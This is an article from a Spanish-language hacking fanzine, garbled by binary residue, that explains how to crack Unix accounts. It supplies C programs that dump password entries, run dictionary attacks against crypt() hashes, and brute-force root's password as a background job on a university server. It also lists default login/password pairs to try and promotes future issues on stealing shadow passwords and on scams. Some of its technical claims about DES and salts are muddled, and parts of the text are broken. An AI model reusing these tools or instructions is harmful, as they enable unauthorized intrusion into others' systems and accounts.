D[1] E[1]6H[1]Cómo
cracker cualquier sistema basado en UnixnE=D[1] E[1])
"
F
Cómo cracker cualquier sistema basado en Unix (Conceptos básicos)...D[1]E[1]B
R
F¿pwít扂LÁIntroducción¿Por qué es importante conocer
Unix?¿Por qué es facil crackear un sistema unix?Capturando el fichero passwdX$ E[1](F[1]4
8H‑FH-ÉGJ㉂UnixOtros sistemas derivados¿E[1]F[1];
D
Fע
m
ҳ5f¿Es posible desencriptar un password?¿Para que sirven los famosos
diccionarios?¿Como averiguar password con diccionarios?f2(F[1]MG[1]4
8d‑FLЀ/SUn programa ejemploGeneradores de palabras\)F[1]G[1]3
6R
Fü
]Cuentas unix por defectoDespedidaW+MG[1]H[1],
(V
ÉF
E-Mail: GUYBRUSH@santandersupernet.com6
G[1]6H[1]( ‑F
By Guybrush=
H[1]sH[1]1[1]l[1]|
|
sH[1]H[1]J[1]Introducción96H[1]H[1])
"
F
Introducción[1]sH[1]J[1])
FNo voy a contaros toda la historia del Unix ya que además de ser
aburrida, imagino que estaréis hartos de leerla.Simplemente quiero decir que
este es un documento bastante básico sobre seguridad en Unix, pero que viene
muy bien sobre todo a la gente que estudia o trabaja en alguna Universidad o
cualquier otro centro y tiene acceso al shell del servidor.También me gustaría
que si alguien tiene dudas sobre lo que aquí escribo, o cualquier otra cosa, me
mande un e-mail.6
H[1]J[1]( ‑F
By GuybrushU$J[1]<K[1]1[1]
...
<K[1]K[1]üN[1]¿Por
qué es importante conocer Unix?M'J[1]K[1]&
N
F
¿Por qué es importante conocer Unix?#[1]ü<K[1]M[1]'
FUnix es un sistema operativo multitarea y multiusuario, y que además,
lleva muchos años funcionando como tal. Aunque con la aparición del Windows NT
(aparentemente bastante seguro, aunque con muchos bugs :) - pero eso es otro tema) est decreciendo
el número de empresas que usan Unix, sigue siendo hoy en día uno de los
sistemas operativo m s 'seguros' que existen. Por lo que muchísimas
empresas (y sobre todo Universidades) lo usan. Además es más fácil hackear
desde un sistema Unix que desde Windows.óK[1]N[1]'
FCómo podemos nosotros hackear desde un Unix (o derivado de l)?
Debemos disponer de una cuenta shell (que nos la debe de dar nuestro proveedor
de Internet) o bien accediendo a Internet mediante Linux. Pero esto lo veremos
en otras revistas.6
M[1]üN[1]( ‑F
By Guybrush\+N[1]XO[1]1[1]|
XO[1]O[1][1]¿Por
qué es facil crackear un sistema unix?T.üN[1]O[1]&
\
F
¿Por qué es facil crackear un sistema unix?
[1]XO[1][1])
FLos que inventaron Unix crearon un sistemaO[1][1]üN[1]
bastante seguro, pero no perfecto.Todos los sistemas tienen bugs, y a pesar de
que en cada nueva versión hay menos agujeros, sigue siendo imperfecto. Hay
algunos fallos en el diseño del sistema que un programador muy experimentado
podría aprovechar. Por ejemplo: un usuario no puede crear un directorio. No
tiene permiso para ello.Por lo que cuando hacemos un mkdir, le pasamos el
control (por milsimas de segundo) a root, que es el que se encarga de crearlo
y luego devolvernos el control. Imagina lo que ocurriría si fuéramos capaces
de causar una interrupción en ese pequeño tiempo en que root tiene el control!!
Automáticamente pasaríamos a ser los dueños y señores del sistema.O[1]e[1](
‑[1]
FPero yo no voy a enseñar ningún bug, ni tampoco programación
avanzada. Sólo voy a mostrar una forma muy simple de conseguir cuentas. Y si el
administrador es un poco lamer incluso podremos ser root.El sistema Unix tiene
un método de cifrado muy bueno, pero guarda la información de todos los usuario
junto con sus password (lógicamente cifrados) en un fichero. El fichero passwd.6
[1][1]( ‑F
By GuybrushMe[1]è[1]1[1]
Rè[1]-...[1]_Á[1]Capturando
el fichero passwdE[1]-...[1]&
>
F
Capturando el fichero passwd1è[1]^...[1])
"
FUnix[1]-...[1]p[1],
&í
FEn Unix es muy sencillo leer este fichero, ya que es accesible a
cualquier usuario. Se encuentra en el directorio /etc. Y tiene la siguiente
forma:paco:ZbkEM2vQVowcw:10013:202:PACO SANCHEZ
PENADES:/users/s02/a00013:/bin/kshelisa:GeJuwMrBVa6mg:10016:202:ELISA J.
CRIVILLES:/users/s03/a00016:/bin/kshpepe:GezuA6krN/BsE:10019:202:PEPE PEÑALVER
BENAVENT:/users/s03/a00019:/bin/kshjuan:Ge7EPYLjRYX9I:10022:202:JUAN BELLIDO
IBORRA:/users/s01/a00022:/bin/ksh¿Qué significa todo esto? Q+^...[1]Á[1]&
V
FVeamos, el fichero contiene estos datos:8p[1][1]( ‑F1:2:3:4:5:6:7/ Á[1]([1]&
Fdonde:[1]‑[1]/
,‑F1) nombre del usuario2) password encriptado3)
número UID (identificación de usuario)4) número GID (identificación de grupo)5)
datos del usuario6) directorio de trabajo7) directorio del shellA([1]_[1]&
6
FOtros sistemas derivadoss‑[1][1]&
FNo todos los sistemas guardan el fichero passwd en /etc. He aquí una
lista de varios sistemas y sus directorios:[1]_[1][1]f
C
‑FAIX
3/etc/security/passwdA/UX 3.0s/tcb/files/auth/?BSD4.3-Reno/etc/master.passwdConvexOS
10/etc/shadpwConvexOS 11/etc/shadowDG/UX/etc/tcb/aa/user/EP/IX/etc/shadowHP-UX/.secure/etc/passwdIRIX
5/etc/shadowLinux 1.1/etc/shadowOSF/1/etc/passwd[.dir|.pag]SCO Unix #.2.x/tcb/auth/files/<first
letterSunOS4.1+c2/etc/security/passwd.adjunctSunOS 5.0/etc/shadow[1][1]7
<‑FSystem V Release 4.0/etc/shadowSystem V
Release 4.2/etc/security/* databaseUltrix 4/etc/auth[.dir|.pag]UNICOS/etc/udbO([1]
[1]'
‑P‑
ÉF(lista sacada de los FAQ de alt.2600)W[1][1](
‑[1]
FEn muchos de estos sistemas, el directorio que contiene el fichero
passwd no es de acceso a usuarios que no sean root, por lo que no podemos ver
el contenido del directorio. Pero esto no es ningún impedimento para nosotros. Aquí
posteo un pequeño programa con el que reconstruimos el fichero passwd, a pesar
de que no podamos acceder a él:$[1]
[1][1]=
H
F// Programa que reconstruye
el fichero passwd.// Copyright (c) Guybrush// Compilar en c++ y redireccionar
la salida a un fichero// cc cogerPass.cc -o cogerPass > fichero#include
<iostream.h>#include <pwd.h>struct passwd *pw;main(){ while ((pw = getpwent()) != NULL) {
cout << pw->pw_na[1][1][1]me; cout << ":" <<
pw->pw_passwd; cout <<
":" << pw->pw_uid;
cout << ":" << pw->pw_gid; cout << ":" <<
pw->pw_gecos; cout <<
":" << pw->pw_dir;nD[1])Á[1]*
$F cout <<
":" << pw->pw_shell << endl; } endpwent();}6
[1]_Á[1]( ‑F
By GuybrushV%)Á[1]Á[1]1[1]...Á[1]
[1][1]¿Es
posible desencriptar un password?N(_Á[1]
[1]&
P
F
¿Es posible desencriptar un password?
Á[1][1](
‑
FNingún cifrado es indescifrable, pero hay algunos que con los
ordenadores de hoy en día se tardarían muchos años en poder descifrar, como es
el caso del cifrado de Unix.Cuando creamos un password, Unix aplica sobre l el
algoritmo de cifrado llamado DES, el cual era un algoritmo prácticamente
indescifrable cuando se ideó, pero que con el paso del tiempo y la tremenda
evolución de la tecnología, cada día se hace más posible su desencriptado, dada
la velocidad de los ordenadores actuales. Pero la cosa no es tan fácil ya que Unix
no aplica este algoritmo una sola vez, sino que lo aplica 25 veces. Una vez que
encripta la palabra, la vuelve a encriptar, y así sucesivamente, hasta 25. Y
por si fuera poco, a la palabra resultante le añade dos caracteres m s,
llamados salt, que provienen de la hora de encriptado. Es decir, si nosotros
encriptamos la palabra pepe a las 20:00 y la volvemos a encriptar a las 20:05
(por ejemplo), la palabra cifrada resultante no es la misma.L%
[1]L[1]'
K[1]
FCada palabra tiene 4.096 formas distintas!! de desencriptarse. Por
lo que si has pensado alguna vez en descifrar una palabra ... ni lo sueñes (por
lo menos con los ordenadores de hoy en día). Es prácticamente imposible (se
tardaría una eternidad). Por eso recurrimos a los diccionarios...6
[1][1]( ‑F
By Guybrush[*L[1][1]1[1])
RX[1]0É[1]([1]¿Para
que sirven los famosos diccionarios?S-[1]0É[1]&
Z
F
¿Para que sirven los famosos diccionarios?[1][1][1][1]'
7
FComo hemos visto, no podemos descifrar un password, pero sí que
podemos cifrar palabras con todos los salt posibles y compararlas con la que ya
tenemos cifrada. Por ejemplo, ciframos la palabra árbol, le quitamos el salt y
le añadimos todas las combinaciones. Luego las comparamos con el password ya
cifrado y si son iguales ... ,ya tenemos la clave!. Pero tampoco es cuestión de
comenzar a introducir palabras por teclado ya que se nos haría eterno y muy
engorroso, por lo que primero podemos construir un diccionario (hay muchos en
Internet), el cual le pasaremos como par metro al programa comparador que
tengamos. Y l se encargar de realizar todo el trabajo.6
0É[1]([1]( ‑F
By Guybrush[*[1][1]1[1]AS...[1][1]#
¿Cómo averiguar password con diccionarios?S-([1][1]&
Z
F
¿Cómo averiguar password con diccionarios?<[1][1]&
,
FUn programa ejemplo[1]q[1][1][1](
‑
FHe aquí un pequeño programa que encripta y comprara palabras. Es de
lo más básico, por lo que no deberías tener ningún problema en entenderlo.
También existen otros que funcionan bajo DOS y que funcionan más rápido como
son: brute, jack crack, john the ripper, ... Te recomiendo que los consigas.Este
programa comprueba que el usuario exista en esa máquina y captura él mismo la
palabra encriptada. Si quieres puedes modificarlo para que le puedas pasar como
par metro la palabra encriptada y que trabaje en tu misma casa. También
acepta cualquier texto ya que él mismo se encarga de desechar los caracteres
especiales:[1][1]
@ N
// Programa que lee
palabras de cualquier diccionario o texto y después de// encriptarlas las
compara.// Copyright (c) Guybrush#include <stdio.h>#include <pwd.h>char
cadena[30];char clave[30];struct passwd *pwd;int desencripta(char *clave, char
*archivo){ F[1]
([1]ILE
*fichero; char *crypt(), *resp;
int cont; if ((fichero =
fopen(archivo,"r")) == NULL)
{ printf("\nError al
abrir diccionario\n");
exit(0); }[1][1][1]
8 >
while (!feof(fichero))
{ cont = 0; do
{ cadena[cont] = fgetc(fichero); cont++; }
while ((cadena[cont-1] != '\n') && (cadena[cont-1] != ' ') && (cadena[cont-1] != ',')
&& (cadena[cont-1] != '.') && (cadena[cont-1] != ';') && (cadena[cont-1]
!= ':') &&
(!feof(fichero))); cadena[cont-1] = '\x0'; resp = crypt(cadena,clave); if (!strcmp(resp,clave))
[1]Á
C T
{ printf("\a\n\n\n ==> El password es : %s
<==\n\n\n",cadena);
fclose(fichero); return
1; } } fclose(fichero); return 0;}main(int argc, char **argv){ int respuesta; char
clave[15]; if (argc == 3) { if (!(pwd = getpwnam(argv[1]))) {
printf("\nUsuario desconocido.\n\n"); exit(-1); }
strcpy(clave,pwd->pw_passwd);
endpwent();f6[1]
8
0 .m[1] printf("\n\nBuscando palabras en el
diccionario ...\n\n");
respuesta = desencripta(clave,argv[2]); if (respuesta != 1) printf("\n\n\nPalabra no encontrada en el
diccionario.\n\n\n"); } else
printf("\n\nUsar: %s <usuario> <diccionario donde
buscar>\n\n",argv[0]);}@
x
& 4
FGeneradores de palabras-[1][1]8
( ‑
FPodemos diseñar también un programa que genere todas las
combinaciones de palabras y/o números. Esto es muy útil para password con menos
de 6 caracteres ya que con 5 ya tarda una eternidad. Además hemos de tener en
cuenta que un password admite mayúsculas, números y caracteres especiales.He
aquí un pequeño programa el cual uso para dejar residente en la Universidad ya
que esta est en funcionamiento las 24 horas del día. Aunque tarde semanas
o meses en encontrar el password, como no est en mi casa ... :)Q[1][1]x
4 6;
F// Programa que debemos dejar
residente con nohup y que busca todas las// posibles combinaciones para
desencriptar un password. También controla// las interrupciones y hace copias
de seguridad ante un kill y cada cierto// tiempo para poder continuar
posteriormente por donde se quedó.// Copyright (c) Guybrush#include
<stdio.h>#include <string.h>#include <pwd.h>#include
<signal.h>#include <sys/types.h>#define USUARIO
"root" // nombre del usuario#define
DATOS "datos" // fichero
temporal donde guarda datos ante un kill[1]ۥ
6 :•
F#define SALIDA "salida" // donde graba el password en caso de
encontrarlo/*#define CADENA "abcdefghijklmnñopqrstuvwxyz"*/#define
CADENA "abcdefghijklmnñopqrstuvwxyz0123456789"/*#define CADENA
"abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ"*//*#define
CADENA "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789-"*/struct
{ char c1[2]; char c2[3]; char c3[4]; char c4[5]; char c5[6]; char c6[7]; char c7[8]; char c8[9];[1]
D V
F} proceso;struct
passwd *pwd;FILE *fichero;double contador = 0;main(){ void inicializar();
void abandonar(); void uno(),
dos(), tres(), cuatro(), cinco(), seis(), siete(), ocho(); char cadena[30]; int longitud = strlen(CADENA);
char clave[15];
signal(SIGTERM,abandonar); if
(!(pwd = getpwnam(USUARIO))) { printf("\nUsuario
desconocido.\n\n"); exit(-1); }
strcpy(clave,pwd->pw_passwd);
endpwent();/[1]
TA
? Lá
F strcpy(cadena,CADENA);
inicializar(cadena);
uno(longitud, cadena, clave);
dos(longitud, cadena, clave);
tres(longitud, cadena, clave);
cuatro(long
TA
([1]itud,
cadena, clave); cinco(longitud,
cadena, clave); seis(longitud, cadena,
clave); siete(longitud, cadena,
clave); ocho(longitud, cadena, clave); abandonar();}void inicializar(char *cadena){ int cont;
if ((fichero = fopen(DATOS,"r")) != NULL) {
fread(&proceso,sizeof(proceso),1,fichero);[1]à
sC
? LÁ
F fclose(fichero); } else
{ if ((fichero =
fopen(DATOS,"w")) == NULL)
{ printf("\nError al crear fichero.\n\n"); exit(-1); }
proceso.c1[0] = cadena[0];
for (cont = 0; cont < 2; cont++) proceso.c2[cont] = cadena[0]; for (cont = 0; cont < 3; cont++)
proceso.c3[cont] = cadena[0]; for
(cont = 0; cont < 4; cont++) proceso.c4[cont] = cadena[0]; for (cont = 0; cont < 5; cont++)
proceso.c5[cont] = cadena[0];%[1]TA
E
: B
F for (cont = 0; cont < 6; cont++) proceso.c6[cont] =
cadena[0]; for (cont = 0; cont <
7; cont++) proceso.c7[cont] = cadena[0];
for (cont = 0; cont < 8;
cont++) proceso.c8[cont] = cadena[0];
proceso.c1[1] = '\n';
proceso.c2[2] = '\n';
proceso.c3[3] = '\n';
proceso.c4[4] = '\n';
proceso.c5[5] = '\n';
proceso.c6[6] = '\n';
proceso.c7[7] = '\n';
proceso.c8[8] = '\n';
fwrite(&proceso,sizeof(proceso),1,fichero);[1]sC
G
A P
F fclose(fichero); }
proceso.c1[1] = '\x0';
proceso.c2[2] = '\x0';
proceso.c3[3] = '\x0';
proceso.c4[4] = '\x0';
proceso.c5[5] = '\x0';
proceso.c6[6] = '\x0';
proceso.c7[7] = '\x0';
proceso.c8[8] = '\x0'; return;}void
abandonar(){ if ((fichero =
fopen(DATOS,"w")) == NULL) { printf("\nError al crear fichero.\n\n"); exit(-1); } proceso.c1[1] = '\n'; proceso.c2[2] = '\n'; proceso.c3[3] = '\n';[1]טE
I
? L
F proceso.c4[4] = '\n';
proceso.c5[5] = '\n';
proceso.c6[6] = '\n'; proceso.c7[7]
= '\n'; proceso.c8[8] = '\n';
fwrite(&proceso,sizeof(proceso),1,fichero); fclose(fichero); exit(-1);}void copia(){
if ((fichero = fopen(DATOS,"w")) == NULL) {
printf("\nError al crear fichero.\n\n"); exit(-1); } proceso.c1[1] = '\n'; proceso.c2[2] = '\n'; proceso.c3[3] = '\n'; proceso.c4[4] = '\n'; proceso.c5[5] = '\n';-[1]èG
K
E XÑ
F proceso.c6[6] = '\n'; proceso.c7[7] = '\n'; proceso.c8[8] = '\n';
fwrite(&proceso,sizeof(proceso),1,fichero); fclose(fichero); return;}int busca(int longitud, char *cadena, char caracter){ int posicion; for (posicion = 0; posicion < longitud; posicion++) if (caracter == cadena[posicion]) return
posicion; return 0;}void
encontrado(char *palabra){ FILE
*fichero2; printf("\a\a\a"); if ((fichero2 =
fopen(SALIDA,"w")) == NULL)'[1]I
N
@ N
F {
printf("\nError al crear fichero.\n\nClave : %s",palabra); exit(-1); } fprintf(fichero2,palabra); fclose(fichero2); return;}void uno(int
longitud, char *cadena, char *clave){
void encontrado(); void
copia(); char *crypt(), *desencripta; int cont;
int p0 = busca(longitud,cadena,proceso.c1[0]); for (cont = p0; cont != longitud; cont++) {
proceso.c1[0] = cadena[cont];
desencripta = crypt(proceso.c1,clave);[1]K
2
C T
F if (!strcmp(desencripta,clave)) { encontrado(proceso.c1); abandonar(); }
if ((contador++) == 60000) { copia();
contador = 0; } }
return;}void dos(int longitud, char *cadena, char *clave){ void encontrado(); void copia(); char *crypt(), *desencripta;
int cont, cont2; int p0 =
busca(longitud,cadena,proceso.c2[0]);
int p1 = bN
2
([1]usca(longitud,cadena,proceso.c2[1]);[1]N
9
E X...
F for (cont = p0; cont < longitud; cont++) {
proceso.c2[0] = cadena[cont];
for (cont2 = p1; cont2 < longitud; cont2++) { proceso.c2[1] = cadena[cont2]; desencripta = crypt(proceso.c2,clave);
if (!strcmp(desencripta,clave)) {
encontrado(proceso.c2);
abandonar(); } if ((contador++) == 60000) { copia();
contador = 0; } }
p1 = 0; }[1]2
?
< F
F return;}void tres(int longitud, char *cadena, char *clave){ void encontrado(); void copia(); char *crypt(), *desencripta;
int cont, cont2, cont3; int p0
= busca(longitud,cadena,proceso.c3[0]);
int p1 = busca(longitud,cadena,proceso.c3[1]); int p2 = busca(longitud,cadena,proceso.c3[2]); for (cont = p0; cont < longitud; cont++) {
proceso.c3[0] = cadena[cont];
for (cont2 = p1; cont2 < longitud; cont2++)[1]9
D
J bw
F { proceso.c3[1] = cadena[cont2]; for
(cont3 = p2; cont3 < longitud; cont3++) {
proceso.c3[2] = cadena[cont3];
desencripta = crypt(proceso.c3,clave); if (!strcmp(desencripta,clave)) {
encontrado(proceso.c3);
abandonar(); } if ((contador++) == 60000) {
copia(); contador =
0; } } p2 = 0; }
p1 = 0;[1]?
W
< F
F } return;}void
cuatro(int longitud, char *cadena, char *clave){ void encontrado(); void
copia(); char *crypt(), *desencripta; int cont, cont2, cont3, cont4; int p0 =
busca(longitud,cadena,proceso.c4[0]);
int p1 = busca(longitud,cadena,proceso.c4[1]); int p2 = busca(longitud,cadena,proceso.c4[2]); int p3 =
busca(longitud,cadena,proceso.c4[3]);
for (cont = p0; cont < longitud; cont++) { proceso.c4[0] =
cadena[cont];'[1]D
~
I `
F for (cont2 = p1; cont2 < longitud;
cont2++) { proceso.c4[1] =
cadena[cont2]; for (cont3 = p2; cont3 < longitud; cont3++) { proceso.c4[2] = cadena[cont3]; for (cont4 = p3; cont4 < longitud;
cont4++) { proceso.c4[3] = cadena[cont4]; desencripta = crypt(proceso.c4,clave); if (!strcmp(desencripta,clave)) { encontrado(proceso.c4); abandonar(); } if ((contador++) == 60000)5[1]íW
H ^
F { copia(); contador = 0; } } p3 = 0; } p2 = 0; }
p1 = 0; } return;}void cinco(int longitud, char
*cadena, char *clave){ void
encontrado(); void copia(); char *crypt(), *desencripta; int cont, cont2, cont3, cont4, cont5; int p0 = busca(longitud,cadena,proceso.c5[0]); int p1 =
busca(longitud,cadena,proceso.c5[1]);
int p2 = busca(longitud,cadena,proceso.c5[2]);,[1]~
: B
F int p3 = busca(longitud,cadena,proceso.c5[3]); int p4 = busca(longitud,cadena,proceso.c5[4]); for (cont = p0; cont < longitud; cont++) {
proceso.c5[0] = cadena[cont];
for (cont2 = p1; cont2 < longitud; cont2++) {
proceso.c5[1] = cadena[cont2];
for (cont3 = p2; cont3 < longitud; cont3++) {
proceso.c5[2] = cadena[cont3]; for (cont4 = p3; cont4 < longitud; cont4++) {
proceso.c5[3] = cadena[cont4];[1]Ƴ
J b
F for (cont5 = p4; cont5 < longitud;
cont5++) { proceso.c5[4] = cadena[cont5]; desencripta = crypt(proceso.c5,clave); if (!strcmp(desencripta,clave)) {
encontrado
([1](proceso.c5); abandonar(); } if ((contador++) == 60000) { copia(); contador = 0; } } p4 = 0;
[1]É
E X
F }
p3 = 0; } p2 = 0; } p1 = 0; } return;}void seis(int
longitud, char *cadena, char *clave){
void encontrado(); void
copia(); char *crypt(), *desencripta; int cont, cont2, cont3, cont4, cont5,
cont6; int p0 =
busca(longitud,cadena,proceso.c6[0]);
int p1 = busca(longitud,cadena,proceso.c6[1]); int p2 = busca(longitud,cadena,proceso.c6[2]); int p3 =
busca(longitud,cadena,proceso.c6[3]); [1]
7 <
F
int p4 = busca(longitud,cadena,proceso.c6[4]); int p5 = busca(longitud,cadena,proceso.c6[5]); for (cont = p0; cont < longitud; cont++) {
proceso.c6[0] = cadena[cont];
for (cont2 = p1; cont2 < longitud; cont2++) { proceso.c6[1]
= cadena[cont2]; for (cont3 =
p2; cont3 < longitud; cont3++)
{ proceso.c6[2] =
cadena[cont3]; for (cont4 =
p3; cont4 < longitud; cont4++)
{+[1]
<
I `
F proceso.c6[3] = cadena[cont4]; for (cont5 = p4; cont5 <
longitud; cont5++) { proceso.c6[4] = cadena[cont5]; for (cont6 = p5; cont6 <
longitud; cont6++) { proceso.c6[5] = cadena[cont6]; desencripta = crypt(proceso.c6,clave); if (!strcmp(desencripta,clave)) {encontrado(proceso.c6);abandonar(); }
if
((contador++) == 60000))[1]
eÉ
Q p
F { copia(); contador = 0; } } p5 = 0; } p4 = 0; }
p3 = 0; } p2 = 0; } p1 = 0; } return;}void
siete(int longitud, char *cadena, char *clave){ void encontrado(); void
copia(); char *crypt(), *desencripta; int cont, cont2, cont3, cont4, cont5,
cont6, cont7;[1]é<
3 4ó
F
int p0 = busca(longitud,cadena,proceso.c7[0]); int p1 = busca(longitud,cadena,proceso.c7[1]); int p2 =
busca(longitud,cadena,proceso.c7[2]);
int p3 = busca(longitud,cadena,proceso.c7[3]); int p4 = busca(longitud,cadena,proceso.c7[4]); int p5 =
busca(longitud,cadena,proceso.c7[5]);
int p6 = busca(longitud,cadena,proceso.c7[6]); for (cont = p0; cont < longitud; cont++) {
proceso.c7[0] = cadena[cont];
for (cont2 = p1; cont2 < longitud; cont2++)[1]eÉ
í
6 :
F {
proceso.c7[1] = cadena[cont2];
for (cont3 = p2; cont3 < longitud; cont3++) {
proceso.c7[2] = cadena[cont3]; for (cont4 = p3; cont4 < longitud; cont4++) { proceso.c7[3] = cadena[cont4]; for (cont5 = p4; cont5 <
longitud; cont5++) { proceso.c7[4] = cadena[cont5]; for (cont6 = p5; cont6 <
longitud; cont6++)[1]Ł
K d
F { proceso.c7[5] = cadena[cont6]; for (cont7 = p6; cont7 < longitud;
cont7++) { proceso.c7[6] = cadena[cont7];desencripta
= crypt(proceso.c7,clave);if (!strcmp(desencripta,clave)){ encontrado(proceso.c7); abandonar();} if ((contador++) == 60000) { copia();?[1]í
U x
F
([1] contador = 0; } } p6 = 0; } p5 = 0; } p4 = 0; }
p3 = 0; } p2 = 0; } p1 = 0; } return;}void ocho(int
longitud, char *cadena, char *clave){
void encontrado(); void
copia(); char *crypt(), *desencripta; int cont, cont2, cont3, cont4, cont5,
cont6, cont7, cont8;[1]è
ü
2 2Ñ
F
int p0 = busca(longitud,cadena,proceso.c8[0]); int p1 = busca(longitud,cadena,proceso.c8[1]); int p2 =
busca(longitud,cadena,proceso.c8[2]);
int p3 = busca(longitud,cadena,proceso.c8[3]); int p4 = busca(longitud,cadena,proceso.c8[4]); int p5 =
busca(longitud,cadena,proceso.c8[5]);
int p6 = busca(longitud,cadena,proceso.c8[6]); int p7 = busca(longitud,cadena,proceso.c8[7]); for (cont = p0; cont < longitud; cont++) {
proceso.c8[0] = cadena[cont];;[1]
[1]
7
8 >
F for (cont2 = p1; cont2 < longitud; cont2++) { proceso.c8[1] = cadena[cont2]; for (cont3 = p2; cont3 < longitud; cont3++) { proceso.c8[2] = cadena[cont3]; for (cont4 = p3; cont4 <
longitud; cont4++) { proceso.c8[3] = cadena[cont4]; for (cont5 = p4; cont5 <
longitud; cont5++) { proceso.c8[4] =
cadena[cont5]; for
(cont6 = p5; cont6 < longitud; cont6++)[1]úü
T
C T
F { proceso.c8[5] = cadena[cont6]; for (cont7 = p6; cont7
< longitud; cont7++)
{ proceso.c8[6] =
cadena[cont7]; for (cont8
= p7; cont8 < longitud; cont8++) { proceso.c8[7] = cadena[cont8]; desencripta = crypt(proceso.c8,clave); if (!strcmp(desencripta,clave)) {
encontrado(proceso.c8);[1]7
g
L f
F abandonar(); } if ((contador++) ==
60000) { copia(); contador = 0; } } p7 = 0; } p6 = 0; } p5 = 0; } p4 = 0;PT
í
6 < F }
p3 = 0; } p2 = 0; } p1 = 0; } return;}6
g
#
( ‑F
By GuybrushIí
l
1[1]
X
l
k
Cuentas unix por defectoA#
& 6
F
Cuentas unix por defectol
'
FLos sistemas Unix suelen tener varias cuentas por defecto. Cuentas
que algunos administradores algo lamers no quitan o protegen. Estas son las
primeras que debemos añadir a nuestro diccionario ... por si acaso :)[1]
‑F loginpasswdrootrootrootsystemsyssyssyssystemdaemondaemonuucpuucpttyttytesttestunixunixunixtestbinbinadmadmadmadminadminadmadminadminsysmansysmansysmansyssysmansystemsysadminsysadminsysadminsyssysadminsystemsysadminadminsysadminadmwhowholearnlearnuuhostuuhostguestguesthosthostnuucpnuucprjerjewA
5
6 <‑F gamesgamesgamesplayersysopsysoprootsysopdemodemo6
k
( ‑F
By Guybrush: 5
1[1]"[1]
\A
Despedida2
k
&
F
DespedidaC
&A
) 5[1]
F
&A
k
Esto es todo por hoy, espero que te haya servido de ayuda y
que me escribas si tienes alguna duda. También me gustaría que me corrigierais
si es que me he confundido en algo.Podéis usar y distribuir estos 3 programas,
pero con la condición de que dejéis el copyright.Un saludo.6
\A
( ‑F
By GuybrushQ &A
A
1[1]~
7A
A
CC
Próximo Número de Hack NavigatorI#\A
A
& F
F
Próximo Número de Hack NavigatorMA
CC
G \
[1]
FHackingCómo koger los passwords, que
estén shadow, y traducción del alt2600 faqCrackingExplicación de algunos CracksTelnetExplicación
de los puertos más comunesEstafasCómo hacer un intercambio de líneasy muchas
más cosas... Hasta la próxima.LA
C
1[1][1]
C
óC
~F
Creadores de Hack NavigatorD‑CC
óC
& <
F
Creadores de Hack Navigator9[1]C
F
S tí
F Mikey Guybrush GUYBRUSH@santandersupernet.comHoms Taz AtilA Diogenes Warezzman
A todos los que queráis colaborar, ¿a qué estáis esperando? Mandadnos un e-mail
con vuestro artículo y ya está. O, si queréis ser asiduos al fanzine, debéis
mandar un artículo de vez en cuando, ya que este fanzine sale cada mes, o por
lo menos eso intentamos. ESPERAMOS MÁS COLABORADORES!Para cualquier comentario
de la revista, podéis poneros en contacto con nosotros en:r@óC
~F
2 4‑F
Navigator@axis.inf
(Infovía)Navigator@axis.org (Internet)1
F
1[1]‑KHelvscolsxcolumnTms
RmncreatimdeffSymbolmatdeftabdnCourierdyedminseTimes New RomanndnoArialpndffacingpMS
SeriffieldflddMS Sans SerifldinstTimesckfldprivfldHelveticarnfnilfoSystemooterfooterfCourier
NewterrfooMarletttnotefractwWingdingsnfsfscriComic Sans MShftnbMT ExtratnrestartfMS
LineDrawcftnstaAlgeriangreengutteArial Rounded MT BoBookman Old StyleryBraggadocioalcvertBritannic
BoldtmapBrush Script MTplanCentury GothicswidColonna MTafilexeDesdemona‑Footlight
MT LightImpact‑
ü‑Kino MT‑
[1]Wide
Latin
‑
Matura MT Script CaPlaybillArial Black)
Verdana805278<<0173JT0174`Yl5277bx5464n‑Tahoma{HaettenschweilerAvantGarde
Bk BT
AvantGarde Md BTSign LanguageAnimals 1 ZAnimals 2 Charting, +ClocksÁD -GeographicSymbols\
HomePlanningKidnapé 2LandscapePlanning HomePlanning2MorseCode
7MusicÉ 8
MusicalSymbolsOfficePlanning <
Semaphore=!SignsG!@[1]ZapfDingbats
BTB
SymbolProp BT\L!CommonBulletsArial MT Black!HBenguiat Frisky
ATTPoster Bodoni ATTGill Sans MT ShadowGoudy Old Style ATTGraphite Light ATTGraphite
Light NarrLucida Casual"Milestones"U
Phyllis ATTú$"W
Signet Roundhand ATModernñH"Z[1]MS Dialog`"\
H[1]
[1]
H[1]
[1]
[1]
E
[1]/&;)[1]Lz^&
t^t@FV
Hack Navigator #1!
Trucos de MikeyCajero Automatico
Futbolines
Cabinas y MáquinasLTrapicheo al BarmanDisco Bomba(Curso de Hacking
Terminología
[1]Cómo
entrar en un sistema"[1]EncriptaciónA[1]Romper
PGP usando todas las claves posibles-
NSA crackear RSAà[1]
Crackear RSA públicamente
Asegurar
La mejor forma de crakear PGPN
El privilegiado ROOT[1]
Los Shells|
Cómo cracker cualquier sistema basado en Unix...
Introducción|
¿Por qué es importante conocer Unix?
¿Por qué es facil crackear un sistema unix?Capturando el
fichero passwdR¿Es posible desencriptar un password?...¿Para que sirven los
famosos diccionarios?X¿Cómo averiguar password con diccionarios?Cuentas
unix por defecto
Despedida
Próximo Número de Hack Navigator7Creadores de Hack Navigator{U
WV~F
u40&^QvF
PWFPFüP+PPPQރ
닗*ރ
Ñ
*R+ÉQQF"P
è
40&^
uF^_]U
WVF
V
FV+FFüv
vv++FúN^
|
v
+;órw
;Áv[1]ÁVFúP
u?Fú+FüV+ۋÉNú ó^)FV9V|
9Vt
;t...~úuW
è[1]F
FüuFüF+40&^FüV^_]
U
WVF
V
FV+FFüF
Fu40&^+év
vv++FúN^
uv
+;órw
;Áv[1]ÁVFúP
u;Fú+FüV+ۋÉNú^#ó^)FV9V|
9Vt
;t;vúu+%F
FüuFüF~úuW
èÉ
40&^FüV^_]
UvP
è][1]U
Vv+PPPFüP
tV
èo40&^FüF
40&^FüV^][1]U
Vv
v
vvFüP$
tV
è40&^FüF
40&^FüV^]UVv$N [1]u
+40&^u
+^][1]Uv
vv=uJ=t4w, t,
t40&^
640&^(40&^ 40&^
40&^&^]UVvv+PP
tV
è 40&^
40&^&^^]
UF=ptKw'< t9w=wÑà".t&&&'&'&&&,$t,3t
+
됺
됺
][1]U‑WVv60&^F
u
éRF
&<u
éF+P
RP^1'FèV
u
é6VVv
V/&;)[1]L4FPFPN#à#(¿p...
B̝t•d
m
ҳ...ҩ|
LÁL...y/Ñ
6tà!
ÉGJ
t
wí|
toü -
